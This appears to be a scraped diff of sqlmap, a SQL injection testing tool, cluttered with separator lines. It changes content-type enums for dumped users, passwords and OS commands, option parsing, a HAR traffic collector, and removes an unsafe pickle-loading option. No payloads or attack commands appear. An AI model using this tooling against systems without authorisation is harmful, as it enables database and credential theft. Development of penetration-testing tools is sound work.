self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS)
|
||||||
return
|
return
|
||||||
|
|
||||||
|
|||||||
+30
-25
@@ -176,6 +176,7 @@ class HTTP_HEADER:
|
|||||||
PROXY_CONNECTION = "Proxy-Connection"
|
PROXY_CONNECTION = "Proxy-Connection"
|
||||||
RANGE = "Range"
|
RANGE = "Range"
|
||||||
REFERER = "Referer"
|
REFERER = "Referer"
|
||||||
|
REFRESH = "Refresh" # Reference: http://stackoverflow.com/a/283794
|
||||||
SERVER = "Server"
|
SERVER = "Server"
|
||||||
SET_COOKIE = "Set-Cookie"
|
SET_COOKIE = "Set-Cookie"
|
||||||
TRANSFER_ENCODING = "Transfer-Encoding"
|
TRANSFER_ENCODING = "Transfer-Encoding"
|
||||||
@@ -183,6 +184,7 @@ class HTTP_HEADER:
|
|||||||
USER_AGENT = "User-Agent"
|
USER_AGENT = "User-Agent"
|
||||||
VIA = "Via"
|
VIA = "Via"
|
||||||
X_POWERED_BY = "X-Powered-By"
|
X_POWERED_BY = "X-Powered-By"
|
||||||
|
X_DATA_ORIGIN = "X-Data-Origin"
|
||||||
|
|
||||||
class EXPECTED:
|
class EXPECTED:
|
||||||
BOOL = "bool"
|
BOOL = "bool"
|
||||||
@@ -286,31 +288,32 @@ class WEB_API:
|
|||||||
JSP = "jsp"
|
JSP = "jsp"
|
||||||
|
|
||||||
class CONTENT_TYPE:
|
class CONTENT_TYPE:
|
||||||
TECHNIQUES = 0
|
TARGET = 0
|
||||||
DBMS_FINGERPRINT = 1
|
TECHNIQUES = 1
|
||||||
BANNER = 2
|
DBMS_FINGERPRINT = 2
|
||||||
CURRENT_USER = 3
|
BANNER = 3
|
||||||
CURRENT_DB = 4
|
CURRENT_USER = 4
|
||||||
HOSTNAME = 5
|
CURRENT_DB = 5
|
||||||
IS_DBA = 6
|
HOSTNAME = 6
|
||||||
USERS = 7
|
IS_DBA = 7
|
||||||
PASSWORDS = 8
|
USERS = 8
|
||||||
PRIVILEGES = 9
|
PASSWORDS = 9
|
||||||
ROLES = 10
|
PRIVILEGES = 10
|
||||||
DBS = 11
|
ROLES = 11
|
||||||
TABLES = 12
|
DBS = 12
|
||||||
COLUMNS = 13
|
TABLES = 13
|
||||||
SCHEMA = 14
|
COLUMNS = 14
|
||||||
COUNT = 15
|
SCHEMA = 15
|
||||||
DUMP_TABLE = 16
|
COUNT = 16
|
||||||
SEARCH = 17
|
DUMP_TABLE = 17
|
||||||
SQL_QUERY = 18
|
SEARCH = 18
|
||||||
COMMON_TABLES = 19
|
SQL_QUERY = 19
|
||||||
COMMON_COLUMNS = 20
|
COMMON_TABLES = 20
|
||||||
FILE_READ = 21
|
COMMON_COLUMNS = 21
|
||||||
FILE_WRITE = 22
|
FILE_READ = 22
|
||||||
OS_CMD = 23
|
FILE_WRITE = 23
|
||||||
REG_READ = 24
|
OS_CMD = 24
|
||||||
|
REG_READ = 25
|
||||||
|
|
||||||
PART_RUN_CONTENT_TYPES = {
|
PART_RUN_CONTENT_TYPES = {
|
||||||
"checkDbms": CONTENT_TYPE.TECHNIQUES,
|
"checkDbms": CONTENT_TYPE.TECHNIQUES,
|
||||||
@@ -362,10 +365,12 @@ class MKSTEMP_PREFIX:
|
|||||||
HASHES = "sqlmaphashes-"
|
HASHES = "sqlmaphashes-"
|
||||||
CRAWLER = "sqlmapcrawler-"
|
CRAWLER = "sqlmapcrawler-"
|
||||||
IPC = "sqlmapipc-"
|
IPC = "sqlmapipc-"
|
||||||
|
CONFIG = "sqlmapconfig-"
|
||||||
TESTING = "sqlmaptesting-"
|
TESTING = "sqlmaptesting-"
|
||||||
RESULTS = "sqlmapresults-"
|
RESULTS = "sqlmapresults-"
|
||||||
COOKIE_JAR = "sqlmapcookiejar-"
|
COOKIE_JAR = "sqlmapcookiejar-"
|
||||||
BIG_ARRAY = "sqlmapbigarray-"
|
BIG_ARRAY = "sqlmapbigarray-"
|
||||||
|
SPECIFIC_RESPONSE = "sqlmapresponse-"
|
||||||
|
|
||||||
class TIMEOUT_STATE:
|
class TIMEOUT_STATE:
|
||||||
NORMAL = 0
|
NORMAL = 0
|
||||||
|
|||||||
@@ -50,6 +50,9 @@ class SqlmapUserQuitException(SqlmapBaseException):
|
|||||||
class SqlmapShellQuitException(SqlmapBaseException):
|
class SqlmapShellQuitException(SqlmapBaseException):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
class SqlmapSkipTargetException(SqlmapBaseException):
|
||||||
|
pass
|
||||||
|
|
||||||
class SqlmapSyntaxException(SqlmapBaseException):
|
class SqlmapSyntaxException(SqlmapBaseException):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|||||||
+88
-118
@@ -45,7 +45,6 @@ from lib.core.common import getConsoleWidth
|
|||||||
from lib.core.common import getFileItems
|
from lib.core.common import getFileItems
|
||||||
from lib.core.common import getFileType
|
from lib.core.common import getFileType
|
||||||
from lib.core.common import getUnicode
|
from lib.core.common import getUnicode
|
||||||
from lib.core.common import isListLike
|
|
||||||
from lib.core.common import normalizePath
|
from lib.core.common import normalizePath
|
||||||
from lib.core.common import ntToPosixSlashes
|
from lib.core.common import ntToPosixSlashes
|
||||||
from lib.core.common import openFile
|
from lib.core.common import openFile
|
||||||
@@ -58,12 +57,11 @@ from lib.core.common import readInput
|
|||||||
from lib.core.common import resetCookieJar
|
from lib.core.common import resetCookieJar
|
||||||
from lib.core.common import runningAsAdmin
|
from lib.core.common import runningAsAdmin
|
||||||
from lib.core.common import safeExpandUser
|
from lib.core.common import safeExpandUser
|
||||||
|
from lib.core.common import saveConfig
|
||||||
from lib.core.common import setOptimize
|
from lib.core.common import setOptimize
|
||||||
from lib.core.common import setPaths
|
from lib.core.common import setPaths
|
||||||
from lib.core.common import singleTimeWarnMessage
|
from lib.core.common import singleTimeWarnMessage
|
||||||
from lib.core.common import UnicodeRawConfigParser
|
|
||||||
from lib.core.common import urldecode
|
from lib.core.common import urldecode
|
||||||
from lib.core.convert import base64unpickle
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
@@ -112,8 +110,7 @@ from lib.core.settings import DEFAULT_PAGE_ENCODING
|
|||||||
from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
|
from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
|
||||||
from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS
|
from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS
|
||||||
from lib.core.settings import DUMMY_URL
|
from lib.core.settings import DUMMY_URL
|
||||||
from lib.core.settings import IGNORE_SAVE_OPTIONS
|
from lib.core.settings import INJECT_HERE_REGEX
|
||||||
from lib.core.settings import INJECT_HERE_MARK
|
|
||||||
from lib.core.settings import IS_WIN
|
from lib.core.settings import IS_WIN
|
||||||
from lib.core.settings import KB_CHARS_BOUNDARY_CHAR
|
from lib.core.settings import KB_CHARS_BOUNDARY_CHAR
|
||||||
from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET
|
from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET
|
||||||
@@ -152,6 +149,7 @@ from lib.request.pkihandler import HTTPSPKIAuthHandler
|
|||||||
from lib.request.rangehandler import HTTPRangeHandler
|
from lib.request.rangehandler import HTTPRangeHandler
|
||||||
from lib.request.redirecthandler import SmartRedirectHandler
|
from lib.request.redirecthandler import SmartRedirectHandler
|
||||||
from lib.request.templates import getPageTemplate
|
from lib.request.templates import getPageTemplate
|
||||||
|
from lib.utils.har import HTTPCollectorFactory
|
||||||
from lib.utils.crawler import crawl
|
from lib.utils.crawler import crawl
|
||||||
from lib.utils.deps import checkDependencies
|
from lib.utils.deps import checkDependencies
|
||||||
from lib.utils.search import search
|
from lib.utils.search import search
|
||||||
@@ -243,6 +241,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls):
|
|||||||
if schemePort:
|
if schemePort:
|
||||||
scheme = schemePort.group(1)
|
scheme = schemePort.group(1)
|
||||||
port = schemePort.group(2)
|
port = schemePort.group(2)
|
||||||
|
request = re.sub(r"\n=+\Z", "", request.split(schemePort.group(0))[-1].lstrip())
|
||||||
else:
|
else:
|
||||||
scheme, port = None, None
|
scheme, port = None, None
|
||||||
|
|
||||||
@@ -281,7 +280,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls):
|
|||||||
method = match.group(1)
|
method = match.group(1)
|
||||||
url = match.group(2)
|
url = match.group(2)
|
||||||
|
|
||||||
if any(_ in line for _ in ('?', '=', CUSTOM_INJECTION_MARK_CHAR)):
|
if any(_ in line for _ in ('?', '=', kb.customInjectionMark)):
|
||||||
params = True
|
params = True
|
||||||
|
|
||||||
getPostReq = True
|
getPostReq = True
|
||||||
@@ -321,7 +320,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls):
|
|||||||
elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION):
|
elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION):
|
||||||
headers.append((getUnicode(key), getUnicode(value)))
|
headers.append((getUnicode(key), getUnicode(value)))
|
||||||
|
|
||||||
if CUSTOM_INJECTION_MARK_CHAR in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):
|
if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):
|
||||||
params = True
|
params = True
|
||||||
|
|
||||||
data = data.rstrip("\r\n") if data else data
|
data = data.rstrip("\r\n") if data else data
|
||||||
@@ -486,14 +485,14 @@ def _setRequestFromFile():
|
|||||||
|
|
||||||
conf.requestFile = safeExpandUser(conf.requestFile)
|
conf.requestFile = safeExpandUser(conf.requestFile)
|
||||||
|
|
||||||
infoMsg = "parsing HTTP request from '%s'" % conf.requestFile
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
if not os.path.isfile(conf.requestFile):
|
if not os.path.isfile(conf.requestFile):
|
||||||
errMsg = "the specified HTTP request file "
|
errMsg = "specified HTTP request file '%s' " % conf.requestFile
|
||||||
errMsg += "does not exist"
|
errMsg += "does not exist"
|
||||||
raise SqlmapFilePathException(errMsg)
|
raise SqlmapFilePathException(errMsg)
|
||||||
|
|
||||||
|
infoMsg = "parsing HTTP request from '%s'" % conf.requestFile
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
_feedTargetsDict(conf.requestFile, addedTargetUrls)
|
_feedTargetsDict(conf.requestFile, addedTargetUrls)
|
||||||
|
|
||||||
def _setCrawler():
|
def _setCrawler():
|
||||||
@@ -545,8 +544,7 @@ def _doSearch():
|
|||||||
elif re.search(URI_INJECTABLE_REGEX, link, re.I):
|
elif re.search(URI_INJECTABLE_REGEX, link, re.I):
|
||||||
if kb.data.onlyGETs is None and conf.data is None and not conf.googleDork:
|
if kb.data.onlyGETs is None and conf.data is None and not conf.googleDork:
|
||||||
message = "do you want to scan only results containing GET parameters? [Y/n] "
|
message = "do you want to scan only results containing GET parameters? [Y/n] "
|
||||||
test = readInput(message, default="Y")
|
kb.data.onlyGETs = readInput(message, default='Y', boolean=True)
|
||||||
kb.data.onlyGETs = test.lower() != 'n'
|
|
||||||
if not kb.data.onlyGETs or conf.googleDork:
|
if not kb.data.onlyGETs or conf.googleDork:
|
||||||
kb.targets.add((link, conf.method, conf.data, conf.cookie, None))
|
kb.targets.add((link, conf.method, conf.data, conf.cookie, None))
|
||||||
|
|
||||||
@@ -573,9 +571,8 @@ def _doSearch():
|
|||||||
message += "for your search dork expression, but none of them "
|
message += "for your search dork expression, but none of them "
|
||||||
message += "have GET parameters to test for SQL injection. "
|
message += "have GET parameters to test for SQL injection. "
|
||||||
message += "Do you want to skip to the next result page? [Y/n]"
|
message += "Do you want to skip to the next result page? [Y/n]"
|
||||||
test = readInput(message, default="Y")
|
|
||||||
|
|
||||||
if test[0] in ("n", "N"):
|
if not readInput(message, default='Y', boolean=True):
|
||||||
raise SqlmapSilentQuitException
|
raise SqlmapSilentQuitException
|
||||||
else:
|
else:
|
||||||
conf.googlePage += 1
|
conf.googlePage += 1
|
||||||
@@ -596,7 +593,7 @@ def _setBulkMultipleTargets():
|
|||||||
|
|
||||||
found = False
|
found = False
|
||||||
for line in getFileItems(conf.bulkFile):
|
for line in getFileItems(conf.bulkFile):
|
||||||
if re.match(r"[^ ]+\?(.+)", line, re.I) or CUSTOM_INJECTION_MARK_CHAR in line:
|
if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line:
|
||||||
found = True
|
found = True
|
||||||
kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None))
|
kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None))
|
||||||
|
|
||||||
@@ -632,7 +629,7 @@ def _findPageForms():
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if not any((conf.bulkFile, conf.googleDork, conf.sitemapUrl)):
|
if not any((conf.bulkFile, conf.googleDork, conf.sitemapUrl)):
|
||||||
page, _ = Request.queryPage(content=True)
|
page, _, _ = Request.queryPage(content=True)
|
||||||
findPageForms(page, conf.url, True, True)
|
findPageForms(page, conf.url, True, True)
|
||||||
else:
|
else:
|
||||||
if conf.bulkFile:
|
if conf.bulkFile:
|
||||||
@@ -897,20 +894,25 @@ def _setTamperingFunctions():
|
|||||||
for script in re.split(PARAMETER_SPLITTING_REGEX, conf.tamper):
|
for script in re.split(PARAMETER_SPLITTING_REGEX, conf.tamper):
|
||||||
found = False
|
found = False
|
||||||
|
|
||||||
|
path = paths.SQLMAP_TAMPER_PATH.encode(sys.getfilesystemencoding() or UNICODE_ENCODING)
|
||||||
script = script.strip().encode(sys.getfilesystemencoding() or UNICODE_ENCODING)
|
script = script.strip().encode(sys.getfilesystemencoding() or UNICODE_ENCODING)
|
||||||
|
|
||||||
if not script:
|
try:
|
||||||
continue
|
if not script:
|
||||||
|
continue
|
||||||
|
|
||||||
elif os.path.exists(os.path.join(paths.SQLMAP_TAMPER_PATH, script if script.endswith(".py") else "%s.py" % script)):
|
elif os.path.exists(os.path.join(path, script if script.endswith(".py") else "%s.py" % script)):
|
||||||
script = os.path.join(paths.SQLMAP_TAMPER_PATH, script if script.endswith(".py") else "%s.py" % script)
|
script = os.path.join(path, script if script.endswith(".py") else "%s.py" % script)
|
||||||
|
|
||||||
elif not os.path.exists(script):
|
elif not os.path.exists(script):
|
||||||
errMsg = "tamper script '%s' does not exist" % script
|
errMsg = "tamper script '%s' does not exist" % script
|
||||||
raise SqlmapFilePathException(errMsg)
|
raise SqlmapFilePathException(errMsg)
|
||||||
|
|
||||||
elif not script.endswith(".py"):
|
elif not script.endswith(".py"):
|
||||||
errMsg = "tamper script '%s' should have an extension '.py'" % script
|
errMsg = "tamper script '%s' should have an extension '.py'" % script
|
||||||
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
except UnicodeDecodeError:
|
||||||
|
errMsg = "invalid character provided in option '--tamper'"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
dirname, filename = os.path.split(script)
|
dirname, filename = os.path.split(script)
|
||||||
@@ -928,7 +930,7 @@ def _setTamperingFunctions():
|
|||||||
sys.path.insert(0, dirname)
|
sys.path.insert(0, dirname)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
module = __import__(filename[:-3])
|
module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
|
||||||
except (ImportError, SyntaxError), ex:
|
except (ImportError, SyntaxError), ex:
|
||||||
raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], getSafeExString(ex)))
|
raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], getSafeExString(ex)))
|
||||||
|
|
||||||
@@ -944,14 +946,14 @@ def _setTamperingFunctions():
|
|||||||
message = "it appears that you might have mixed "
|
message = "it appears that you might have mixed "
|
||||||
message += "the order of tamper scripts. "
|
message += "the order of tamper scripts. "
|
||||||
message += "Do you want to auto resolve this? [Y/n/q] "
|
message += "Do you want to auto resolve this? [Y/n/q] "
|
||||||
test = readInput(message, default="Y")
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
if not test or test[0] in ("y", "Y"):
|
if choice == 'N':
|
||||||
resolve_priorities = True
|
|
||||||
elif test[0] in ("n", "N"):
|
|
||||||
resolve_priorities = False
|
resolve_priorities = False
|
||||||
elif test[0] in ("q", "Q"):
|
elif choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
|
else:
|
||||||
|
resolve_priorities = True
|
||||||
|
|
||||||
check_priority = False
|
check_priority = False
|
||||||
|
|
||||||
@@ -1001,7 +1003,7 @@ def _setWafFunctions():
|
|||||||
try:
|
try:
|
||||||
if filename[:-3] in sys.modules:
|
if filename[:-3] in sys.modules:
|
||||||
del sys.modules[filename[:-3]]
|
del sys.modules[filename[:-3]]
|
||||||
module = __import__(filename[:-3])
|
module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
|
||||||
except ImportError, msg:
|
except ImportError, msg:
|
||||||
raise SqlmapSyntaxException("cannot import WAF script '%s' (%s)" % (filename[:-3], msg))
|
raise SqlmapSyntaxException("cannot import WAF script '%s' (%s)" % (filename[:-3], msg))
|
||||||
|
|
||||||
@@ -1407,8 +1409,8 @@ def _setHTTPExtraHeaders():
|
|||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
elif not conf.requestFile and len(conf.httpHeaders or []) < 2:
|
elif not conf.requestFile and len(conf.httpHeaders or []) < 2:
|
||||||
if conf.charset:
|
if conf.encoding:
|
||||||
conf.httpHeaders.append((HTTP_HEADER.ACCEPT_CHARSET, "%s;q=0.7,*;q=0.1" % conf.charset))
|
conf.httpHeaders.append((HTTP_HEADER.ACCEPT_CHARSET, "%s;q=0.7,*;q=0.1" % conf.encoding))
|
||||||
|
|
||||||
# Invalidating any caching mechanism in between
|
# Invalidating any caching mechanism in between
|
||||||
# Reference: http://stackoverflow.com/a/1383359
|
# Reference: http://stackoverflow.com/a/1383359
|
||||||
@@ -1683,17 +1685,28 @@ def _cleanupOptions():
|
|||||||
if conf.optimize:
|
if conf.optimize:
|
||||||
setOptimize()
|
setOptimize()
|
||||||
|
|
||||||
if conf.data:
|
match = re.search(INJECT_HERE_REGEX, conf.data or "")
|
||||||
conf.data = re.sub(INJECT_HERE_MARK.replace(" ", r"[^A-Za-z]*"), CUSTOM_INJECTION_MARK_CHAR, conf.data, re.I)
|
if match:
|
||||||
|
kb.customInjectionMark = match.group(0)
|
||||||
|
|
||||||
if conf.url:
|
match = re.search(INJECT_HERE_REGEX, conf.url or "")
|
||||||
conf.url = re.sub(INJECT_HERE_MARK.replace(" ", r"[^A-Za-z]*"), CUSTOM_INJECTION_MARK_CHAR, conf.url, re.I)
|
if match:
|
||||||
|
kb.customInjectionMark = match.group(0)
|
||||||
|
|
||||||
if conf.os:
|
if conf.os:
|
||||||
conf.os = conf.os.capitalize()
|
conf.os = conf.os.capitalize()
|
||||||
|
|
||||||
|
if conf.forceDbms:
|
||||||
|
conf.dbms = conf.forceDbms
|
||||||
|
|
||||||
if conf.dbms:
|
if conf.dbms:
|
||||||
conf.dbms = conf.dbms.capitalize()
|
kb.dbmsFilter = []
|
||||||
|
for _ in conf.dbms.split(','):
|
||||||
|
for dbms, aliases in DBMS_ALIASES:
|
||||||
|
if _.strip().lower() in aliases:
|
||||||
|
kb.dbmsFilter.append(dbms)
|
||||||
|
conf.dbms = dbms if conf.dbms and ',' not in conf.dbms else None
|
||||||
|
break
|
||||||
|
|
||||||
if conf.testFilter:
|
if conf.testFilter:
|
||||||
conf.testFilter = conf.testFilter.strip('*+')
|
conf.testFilter = conf.testFilter.strip('*+')
|
||||||
@@ -1766,13 +1779,13 @@ def _cleanupOptions():
|
|||||||
conf.torType = conf.torType.upper()
|
conf.torType = conf.torType.upper()
|
||||||
|
|
||||||
if conf.col:
|
if conf.col:
|
||||||
conf.col = re.sub(r"\s*,\s*", ",", conf.col)
|
conf.col = re.sub(r"\s*,\s*", ',', conf.col)
|
||||||
|
|
||||||
if conf.excludeCol:
|
if conf.excludeCol:
|
||||||
conf.excludeCol = re.sub(r"\s*,\s*", ",", conf.excludeCol)
|
conf.excludeCol = re.sub(r"\s*,\s*", ',', conf.excludeCol)
|
||||||
|
|
||||||
if conf.binaryFields:
|
if conf.binaryFields:
|
||||||
conf.binaryFields = re.sub(r"\s*,\s*", ",", conf.binaryFields)
|
conf.binaryFields = re.sub(r"\s*,\s*", ',', conf.binaryFields)
|
||||||
|
|
||||||
if any((conf.proxy, conf.proxyFile, conf.tor)):
|
if any((conf.proxy, conf.proxyFile, conf.tor)):
|
||||||
conf.disablePrecon = True
|
conf.disablePrecon = True
|
||||||
@@ -1828,6 +1841,7 @@ def _setConfAttributes():
|
|||||||
conf.dumpPath = None
|
conf.dumpPath = None
|
||||||
conf.hashDB = None
|
conf.hashDB = None
|
||||||
conf.hashDBFile = None
|
conf.hashDBFile = None
|
||||||
|
conf.httpCollector = None
|
||||||
conf.httpHeaders = []
|
conf.httpHeaders = []
|
||||||
conf.hostname = None
|
conf.hostname = None
|
||||||
conf.ipv6 = False
|
conf.ipv6 = False
|
||||||
@@ -1843,6 +1857,7 @@ def _setConfAttributes():
|
|||||||
conf.scheme = None
|
conf.scheme = None
|
||||||
conf.tests = []
|
conf.tests = []
|
||||||
conf.trafficFP = None
|
conf.trafficFP = None
|
||||||
|
conf.HARCollectorFactory = None
|
||||||
conf.wFileType = None
|
conf.wFileType = None
|
||||||
|
|
||||||
def _setKnowledgeBaseAttributes(flushAll=True):
|
def _setKnowledgeBaseAttributes(flushAll=True):
|
||||||
@@ -1862,6 +1877,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.authHeader = None
|
kb.authHeader = None
|
||||||
kb.bannerFp = AttribDict()
|
kb.bannerFp = AttribDict()
|
||||||
kb.binaryField = False
|
kb.binaryField = False
|
||||||
|
kb.browserVerification = None
|
||||||
|
|
||||||
kb.brute = AttribDict({"tables": [], "columns": []})
|
kb.brute = AttribDict({"tables": [], "columns": []})
|
||||||
kb.bruteMode = False
|
kb.bruteMode = False
|
||||||
@@ -1889,11 +1905,13 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.connErrorCounter = 0
|
kb.connErrorCounter = 0
|
||||||
kb.cookieEncodeChoice = None
|
kb.cookieEncodeChoice = None
|
||||||
kb.counters = {}
|
kb.counters = {}
|
||||||
|
kb.customInjectionMark = CUSTOM_INJECTION_MARK_CHAR
|
||||||
kb.data = AttribDict()
|
kb.data = AttribDict()
|
||||||
kb.dataOutputFlag = False
|
kb.dataOutputFlag = False
|
||||||
|
|
||||||
# Active back-end DBMS fingerprint
|
# Active back-end DBMS fingerprint
|
||||||
kb.dbms = None
|
kb.dbms = None
|
||||||
|
kb.dbmsFilter = []
|
||||||
kb.dbmsVersion = [UNKNOWN_DBMS_VERSION]
|
kb.dbmsVersion = [UNKNOWN_DBMS_VERSION]
|
||||||
|
|
||||||
kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
|
kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
|
||||||
@@ -1901,6 +1919,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.dnsMode = False
|
kb.dnsMode = False
|
||||||
kb.dnsTest = None
|
kb.dnsTest = None
|
||||||
kb.docRoot = None
|
kb.docRoot = None
|
||||||
|
kb.droppingRequests = False
|
||||||
kb.dumpColumns = None
|
kb.dumpColumns = None
|
||||||
kb.dumpTable = None
|
kb.dumpTable = None
|
||||||
kb.dumpKeyboardInterrupt = False
|
kb.dumpKeyboardInterrupt = False
|
||||||
@@ -1920,6 +1939,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.futileUnion = None
|
kb.futileUnion = None
|
||||||
kb.headersFp = {}
|
kb.headersFp = {}
|
||||||
kb.heuristicDbms = None
|
kb.heuristicDbms = None
|
||||||
|
kb.heuristicExtendedDbms = None
|
||||||
kb.heuristicMode = False
|
kb.heuristicMode = False
|
||||||
kb.heuristicPage = False
|
kb.heuristicPage = False
|
||||||
kb.heuristicTest = None
|
kb.heuristicTest = None
|
||||||
@@ -2009,6 +2029,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.tableExistsChoice = None
|
kb.tableExistsChoice = None
|
||||||
kb.uChar = NULL
|
kb.uChar = NULL
|
||||||
kb.unionDuplicates = False
|
kb.unionDuplicates = False
|
||||||
|
kb.wafSpecificResponse = None
|
||||||
kb.xpCmdshellAvailable = False
|
kb.xpCmdshellAvailable = False
|
||||||
|
|
||||||
if flushAll:
|
if flushAll:
|
||||||
@@ -2102,53 +2123,7 @@ def _saveConfig():
|
|||||||
debugMsg = "saving command line options to a sqlmap configuration INI file"
|
debugMsg = "saving command line options to a sqlmap configuration INI file"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
config = UnicodeRawConfigParser()
|
saveConfig(conf, conf.saveConfig)
|
||||||
userOpts = {}
|
|
||||||
|
|
||||||
for family in optDict.keys():
|
|
||||||
userOpts[family] = []
|
|
||||||
|
|
||||||
for option, value in conf.items():
|
|
||||||
for family, optionData in optDict.items():
|
|
||||||
if option in optionData:
|
|
||||||
userOpts[family].append((option, value, optionData[option]))
|
|
||||||
|
|
||||||
for family, optionData in userOpts.items():
|
|
||||||
config.add_section(family)
|
|
||||||
|
|
||||||
optionData.sort()
|
|
||||||
|
|
||||||
for option, value, datatype in optionData:
|
|
||||||
if datatype and isListLike(datatype):
|
|
||||||
datatype = datatype[0]
|
|
||||||
|
|
||||||
if option in IGNORE_SAVE_OPTIONS:
|
|
||||||
continue
|
|
||||||
|
|
||||||
if value is None:
|
|
||||||
if datatype == OPTION_TYPE.BOOLEAN:
|
|
||||||
value = "False"
|
|
||||||
elif datatype in (OPTION_TYPE.INTEGER, OPTION_TYPE.FLOAT):
|
|
||||||
if option in defaults:
|
|
||||||
value = str(defaults[option])
|
|
||||||
else:
|
|
||||||
value = "0"
|
|
||||||
elif datatype == OPTION_TYPE.STRING:
|
|
||||||
value = ""
|
|
||||||
|
|
||||||
if isinstance(value, basestring):
|
|
||||||
value = value.replace("\n", "\n ")
|
|
||||||
|
|
||||||
config.set(family, option, value)
|
|
||||||
|
|
||||||
confFP = openFile(conf.saveConfig, "wb")
|
|
||||||
|
|
||||||
try:
|
|
||||||
config.write(confFP)
|
|
||||||
except IOError, ex:
|
|
||||||
errMsg = "something went wrong while trying "
|
|
||||||
errMsg += "to write to the configuration file '%s' ('%s')" % (conf.saveConfig, getSafeExString(ex))
|
|
||||||
raise SqlmapSystemException(errMsg)
|
|
||||||
|
|
||||||
infoMsg = "saved command line options to the configuration file '%s'" % conf.saveConfig
|
infoMsg = "saved command line options to the configuration file '%s'" % conf.saveConfig
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -2224,26 +2199,6 @@ def _mergeOptions(inputOptions, overrideOptions):
|
|||||||
@type inputOptions: C{instance}
|
@type inputOptions: C{instance}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if inputOptions.pickledOptions:
|
|
||||||
try:
|
|
||||||
unpickledOptions = base64unpickle(inputOptions.pickledOptions, unsafe=True)
|
|
||||||
|
|
||||||
if type(unpickledOptions) == dict:
|
|
||||||
unpickledOptions = AttribDict(unpickledOptions)
|
|
||||||
|
|
||||||
_normalizeOptions(unpickledOptions)
|
|
||||||
|
|
||||||
unpickledOptions["pickledOptions"] = None
|
|
||||||
for key in inputOptions:
|
|
||||||
if key not in unpickledOptions:
|
|
||||||
unpickledOptions[key] = inputOptions[key]
|
|
||||||
|
|
||||||
inputOptions = unpickledOptions
|
|
||||||
except Exception, ex:
|
|
||||||
errMsg = "provided invalid value '%s' for option '--pickled-options'" % inputOptions.pickledOptions
|
|
||||||
errMsg += " (%s)" % repr(ex)
|
|
||||||
raise SqlmapSyntaxException(errMsg)
|
|
||||||
|
|
||||||
if inputOptions.configFile:
|
if inputOptions.configFile:
|
||||||
configFileParser(inputOptions.configFile)
|
configFileParser(inputOptions.configFile)
|
||||||
|
|
||||||
@@ -2256,7 +2211,7 @@ def _mergeOptions(inputOptions, overrideOptions):
|
|||||||
if key not in conf or value not in (None, False) or overrideOptions:
|
if key not in conf or value not in (None, False) or overrideOptions:
|
||||||
conf[key] = value
|
conf[key] = value
|
||||||
|
|
||||||
if not hasattr(conf, "api"):
|
if not conf.api:
|
||||||
for key, value in conf.items():
|
for key, value in conf.items():
|
||||||
if value is not None:
|
if value is not None:
|
||||||
kb.explicitSettings.add(key)
|
kb.explicitSettings.add(key)
|
||||||
@@ -2290,6 +2245,12 @@ def _setTrafficOutputFP():
|
|||||||
|
|
||||||
conf.trafficFP = openFile(conf.trafficFile, "w+")
|
conf.trafficFP = openFile(conf.trafficFile, "w+")
|
||||||
|
|
||||||
|
def _setupHTTPCollector():
|
||||||
|
if not conf.harFile:
|
||||||
|
return
|
||||||
|
|
||||||
|
conf.httpCollector = HTTPCollectorFactory(conf.harFile).create()
|
||||||
|
|
||||||
def _setDNSServer():
|
def _setDNSServer():
|
||||||
if not conf.dnsDomain:
|
if not conf.dnsDomain:
|
||||||
return
|
return
|
||||||
@@ -2319,7 +2280,7 @@ def _setProxyList():
|
|||||||
return
|
return
|
||||||
|
|
||||||
conf.proxyList = []
|
